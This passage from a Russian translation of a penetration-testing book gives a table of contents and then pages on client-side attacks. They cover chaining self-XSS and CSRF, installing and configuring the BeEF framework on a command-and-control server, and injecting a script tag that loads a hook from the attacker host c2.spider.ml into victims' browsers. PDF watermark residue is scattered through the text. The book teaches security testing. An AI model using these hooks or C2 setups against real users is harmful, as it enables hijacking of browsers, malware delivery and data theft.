- •Отзывы и пожелания
- •Список опечаток
- •Нарушение авторских прав
- •Предисловие
- •Кому адресована эта книга
- •О чем идет речь в книге
- •Как извлечь максимум из книги?
- •Загрузка примеров
- •Загрузка цветных изображений
- •Условные обозначения
- •Атаки на веб-приложения. Введение
- •Правила применения оружия
- •Вопросы конфиденциальности данных
- •Очистка
- •Инструментарий тестировщика
- •Kali Linux
- •Альтернативы Kali Linux
- •Прокси-сервер
- •Burp Suite
- •Zed Attack Proxy
- •Облачная инфраструктура
- •Дополнительные источники
- •Упражнения
- •Резюме
- •Глава 2
- •Эффективное обнаружение
- •Типы тестирования
- •Построение карты сети
- •Masscan
- •hatWeb
- •Nikto
- •CMS-сканеры
- •Эффективная атака методом полного перебора
- •Средства сканирования
- •Постоянное картирование контента
- •Обработка полезной нагрузки
- •«Полиглот»
- •Запутывание (обфускация) кода
- •Дополнительные источники
- •Упражнения
- •Резюме
- •Глава 3
- •Легкая добыча
- •Анализ сети
- •Ищем вход
- •Определение учетных данных
- •Есть способ получше
- •Очистка
- •Дополнительные ресурсы
- •Резюме
- •Глава 4
- •Продвинутые способы атаки с использованием метода полного перебора
- •Распыление подбора пароля
- •Спросим LinkedIn
- •Метаданные
- •Кассетная бомба
- •За семью прокси-серверами
- •ProxyCannon
- •Резюме
- •Глава 5
- •Внедрение файлов
- •Удаленное внедрение файлов
- •Локальное внедрение файлов
- •Внедрение файла для удаленного выполнения кода
- •Резюме
- •Обнаружение и эксплуатация уязвимостей в приложениях с помощью внешних сервисов
- •Распространенный сценарий
- •Командно-контрольный сервер
- •Центр сертификации Let’s Encrypt
- •INetSim
- •Подтверждение
- •Асинхронное извлечение данных
- •Построение выводов на основе анализа данных
- •Резюме
- •Расширение функциональных возможностей Burp Suite
- •Нелегальная аутентификация и злоупотребление учетными записями
- •Швейцарский нож
- •Запутывание кода
- •Collaborator
- •Открытый сервер
- •Выделенный сервер Collaborator
- •Резюме
- •Глава 8
- •Вредоносная сериализация
- •Использование десериализации
- •Атака на пользовательские протоколы
- •Анализ протокола
- •Эксплойт для осуществления атаки
- •Резюме
- •Практические атаки на стороне клиента
- •Правила ограничения домена
- •Совместное использование ресурсов разными источниками
- •Межсайтовый скриптинг
- •Постоянный XSS
- •DOM-модели
- •Межсайтовая подделка запроса
- •BeEF
- •Перехват
- •Атаки с применением методов социальной инженерии
- •Кейлоггер
- •Закрепление в системе
- •Автоматическая эксплуатация
- •Туннелирование трафика
- •Резюме
- •Практические атаки на стороне сервера
- •Внутренние и внешние ссылки
- •Атаки XXE
- •Атака billion laughs
- •Подделка запроса
- •Сканер портов
- •Утечка информации
- •«Слепой» XXE
- •Удаленное выполнение кода
- •Резюме
- •Глава 11
- •Атака на API
- •Протоколы передачи данных
- •SOAP
- •REST
- •Аутентификация с помощью API
- •Базовая аутентификация
- •Ключи API
- •Токены на предъявителя
- •Postman
- •Установка
- •Вышестоящий прокси-сервер
- •Среда выполнения
- •Коллекции
- •Запуск коллекции
- •Факторы атаки
- •Резюме
- •Глава 12
- •Атака на CMS
- •Оценка приложения
- •WPScan
- •sqlmap
- •Droopescan
- •Arachni
- •Взлом кода с помощью бэкдора
- •Закрепление в системе
- •Утечка учетных данных
- •Резюме
- •Глава 13
- •Взлом контейнеров
- •Сценарий уязвимости в Docker
- •Осведомленность о ситуации
- •Взлом контейнера
- •Резюме
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
|||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
NOW! |
|
o |
P |
|
|
|
|
|
NOW! |
o |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|||||||||
w Click |
to |
BUY 222 Глава 9.Практические атаки на стороне клиента |
w Click |
to |
|
|
|
|
|
|
||||||||||||||
|
|
|
|
|
|
|
|
m |
|
|
|
|
|
|
|
m |
||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
|||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
e |
Допустим, мы обнаружили хранимую XSS-уязвимость на странице профи- |
|
|
|
e |
|
||||||||||
|
|
|
df |
|
|
n |
|
|
|
|
|
|
|
|
df |
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
ля почтового приложения. Мы могли бы обновить свое имя, чтобы отразить полезную нагрузку. Поскольку мы не можем влиять на имена профилей других пользователей,эта полезная нагрузка сработаеттолько для нашей учетной записи. Это называется self-XSS-атака. Если одно и то же приложение также уязвимо для CSRF-атак на странице как входа, так и выхода, можно заставить пользователя выйти из системы, а также заставить его войти в систему под именем другого пользователя.
Прежде всего мы могли бы отправить полезную нагрузку XSS в собственное имяпрофиляисохранитьеенапотом.Затемможемсоздатьвредоносныйсайт, который выполняет следующие операции по порядку:
1)использует межсайтовую подделку запроса, чтобы заставить жертву выйти из приложения;
2)использует межсайтовую подделку запроса для входа жертвы обратно с применением наших учетных данных;
3)использует межсайтовую подделку запроса для перехода на страницу профиля приложения, содержащую вредоносный код;
4)выполняет вредоносный код в браузере жертвы.
Вредоносный код будет выглядеть примерно так:
Рис.9.8. Вредоносный код self-,XSS-и CSRF-атак
http://email.site/profile/ содержит код self-XSS, который мы сохранили ранее и который будетвыполняться на ничего не подозревающем объекте атаки после загрузки iframe.
Что можно сделать с кодом JavaScript, работающим в браузере жертвы, но в рамках сеанса учетной записи? Воровать куки-файлы сеанса не имеет смысла, но у нас есть другие варианты.
BeEF
В большинстве случаев XSS-уязвимость трудно эксплуатировать успешно. Когда я говорю о практических атаках на стороне клиента, я не имею в виду скриншот всплывающего окна alert(1) для отчета!
Во время выполнения задания XSS-уязвимость может стать жизнеспособнымспособоматаковатьпользователейизакрепитьсявсети.ПроведениеXSS-
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
E |
|
|
|
|||||||
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
BeEF 223 BUY |
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
w Click |
to |
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
атак может быть затруднено, так как в большинстве случаев у вас есть только |
|
|
e |
|
|||||||||||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
df |
|
|
n |
|
|||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
||||
|
|
|
|
|
|
одна попытка.Нам нужно выполнитькод и сделатьвсе,что нужно,прежде чем |
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
пользователь закроет сеанс браузера. Извлечь токен сеанса или другие важ- |
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
ные данные достаточно просто, но что, если нам нужно поднять нашу атаку |
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
на новый уровень? В идеале нужно получить полный контроль над браузером |
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
клиента и заставить его выполнять наши приказы, возможно, автоматизируя |
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
некоторые более сложные атаки. |
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
BeEF–этопрекрасныйинструмент,созданныйУэйдомАлькорном(WadeAl- |
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
corn), который упрощает эксплуатацию XSS-уязвимостей. |
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
BeEFимеетсерверныйкомпонент,обеспечивающийуправлениеиконтроль. |
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
Клиентов(или,какихназываютвконтекстеэтойатаки,зомби)можнопоймать |
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
спомощьюфрагментакодаJavaScript,размещенногонасамомкомандно-конт |
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
рольном сервере. Зомби будет периодически регистрироваться на этом серве- |
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
ре и получать команды, в том числе следующие: |
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
выполнение произвольного кода JavaScript; |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
методы социальной инженерии для доставки вредоносных программ; |
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
закрепление в системе (персистентность); |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
интеграция с Metasploit; |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
сбор информации |
|
|
|
|
|
|
|
|
|
|
|
…и многое другое.
ЧтобыэксплуатироватьклиентаспомощьюBeEF,нужнопойматьегопосредством XSS-атаки или поразить клиентский код приложения, используя бэкдор. Вредоносный код JavaScript будет выполнен и загрузит ловушку из нашего ко- мандно-контрольного сервера BeEF, предоставляя нам доступ для выполнения дополнительного кода,упакованного внутри BeEF в качестве команд.
Установить BeEF просто. Он доступен на GitHub на странице https://github.com/beefproject/beef. BeEF также есть в Kali Linux по умолчанию,хотя в некоторых случаях лучше,если он будет работать на вашем командно-контрольном сервере в облаке.
Мы можем клонировать последнюю версию из репозитория GitHub с по мощью команды git clone.
root@spider-c2:~# git clone https://github.com/beefproject/beef
Исходный код поставляется со скриптом install,который настроит среду за нас. Выполните его в папке beef.
root@spider-c2:~/beef# ./install
[WARNING] This script will install BeEF and its required dependencies (including operating system packages).
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
NOW! |
o |
|
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
||||
w Click |
to |
BUY 224 Глава 9.Практические атаки на стороне клиента |
|||||||||
|
|
|
|
|
|
m |
|
||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
|
|
e |
|
y |
|
|
|
|
|
Are you sure you wish to continue (Y/n)? |
|||||||
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
[INFO] Detecting OS...
[INFO] Operating System: Linux
[INFO] Launching Linux install...
[INFO] Detecting Linux OS distribution...
[INFO] OS Distribution: Debian
[INFO] Installing Debian prerequisite packages…
[...]
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
BeEF можно настроить с помощью файла конфигурации config.yaml. Есть множество вариантов настройки,но для нас наиболее важными являются следующие.
beef: [...]
credentials: user: "admin"
passwd: "peanut butter jelly time"
[...] restrictions:
#subnet of IP addresses that can hook to the framework permitted_hooking_subnet: "172.217.2.0/24"
#subnet of IP addresses that can connect to the admin UI permitted_ui_subnet: "196.247.56.62/32"
#HTTP server
http:
debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.
host: "0.0.0.0" port: "443"
public: "c2.spider.ml"
[...]
https: enable: true
key: "/etc/letsencrypt/live/spider.ml/privkey.pem" cert: "/etc/letsencrypt/live/spider.ml/cert.pem"
Корневой каталог файла конфигурации – beef с отступом строк, ограничивающих подузлы. Например, путь beef.credentials.user будет возвращать значение admin после синтаксического анализа файла конфигурации.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
E |
|
|
|
|||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
|||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
|
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
BeEF 225 BUY |
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
w Click |
to |
|
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
|||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
e |
Изменение параметров beef.credentials.* не должно вызывать вопро- |
|
|
e |
|
|||||||||||
|
|
|
df |
|
|
n |
|
|
|
|
|
|
|
|
df |
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
||||
|
|
|
|
|
|
сов. Рекомендуется также обновить параметры beef.restrictions.*, чтобы |
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
гарантировать, что мы нацелились на соответствующих клиентов, и не до- |
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
пускать посторонних пользователей в интерфейс командно-контрольного |
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
сервера. |
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
Опция permitted_ui_subnet ограничит диапазоны сети, которым BeEF |
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
разрешит доступ к /ui/, интерфейсу администратора сервера. Тут все долж- |
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
но быть очень строго, поэтому обычно мы устанавливаем текущий внешний |
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
адрес, после которого следует /32. |
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
Мы также можем ограничить адреса, которым фактически разрешено |
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
взаимодействовать |
словушкойBeEF,предотвращаяэксплуатациюуязвимос |
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
тей у тех клиентов, которых мы не планируем взламывать. Если запускаем |
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
BeEF для внутреннего использования, то можем ограничить подсеть пере- |
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
хвата, скажем, только маркетингом. Если аналитики из Синей команды по- |
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
пытаются выполнить полезную нагрузку, они не получат ничего полезного |
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
в ответ. |
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
Для развертывания в эксплуатационной среде в облаке нужно установить |
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
beef.http.host впространствоIP-адресовнашейжертвы,инамтакжеследует |
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
прослушивать порт443.Рекомендуется запускать BeEF с beef.https.enable = |
|
|
|
|
|
|
true, поскольку это увеличивает шансы на успех.
Если попытаемся внедрить нашу полезную нагрузку BeEF <script async src = http://c2.spider.ml/hook.js> на страницу,загруженную по протоко-
луHTTPS,современныебраузерывообщенебудутзагружатьсценарий.Загруз- каHTTPS-ресурсовнаHTTP-сайтразрешена,поэтому,есливозможно,команд- но-контрольный сервер всегда должен работать с включенным TLS.
Параметры конфигурации beef.https.key и beef.https.cert должны указывать на соответствующий сертификат, желательно подписанный доверенным корневым центром сертификации,таким как Let’s Encrypt. Мы рассмат ривали использование Let’s Encrypt для запроса бесплатных сертификатов в главе 6 «Обнаружение и эксплуатация уязвимостей в приложениях с помощью внешних сервисов».
Let’s Encrypt предоставляет бесплатные сертификаты с проверкой домена для имен хостов и даже сертификаты с поддержкой поддоменов.Дополнительную информацию можно найти на станице
https://letsencrypt.org.
Значение beef.http.public должно соответствовать домену с HTTPSсертификатом, иначе могут возникнуть ошибки при валидации клиента и перехват завершится неудачно.
Когда все будет настроено, можно запустить серверный компонент.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
||||
w Click |
to |
BUY 226 |
||||||||
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
Глава 9.Практические атаки на стороне клиента
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
||||
|
|
X |
|
|
|
|
|
||||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
|||||
|
|
|
|
|
|
||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
d |
f |
|
|
n |
e |
|
||
|
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
Рис.9.9. BeEF работает в облаке
Ну вот, командно-контрольный сервер BeEF готов к работе, и можно приступать к атаке на клиентов. Первый шаг– получить код ловушки BeEF, чтобы выполнить его в целевом браузере. Есть несколько способов сделать это. Наиболее распространенный – постоянная, отраженная или основанная на DOMмодели XSS-атака.
Если у нас есть доступ к приложению через оболочку, то также есть смысл использовать бэкдор с помощью ловушки BeEF. Мы можем сохранить код ловушки и записывать действия пользователей и даже использовать методы социальной инженерии для запуска вредоносных программ на компьютерах, представляющих особый интерес.
Панель командно-контрольного сервера BeEF доступна через URL-адрес, отображаемый в выводе программы запуска BeEF:
https://[beef.http.public]:[beef.http.port]/ui/panel
Интерфейс несколько неординарен, но к нему быстро привыкаешь.
Рис.9.10. Панель управления сервером BeEF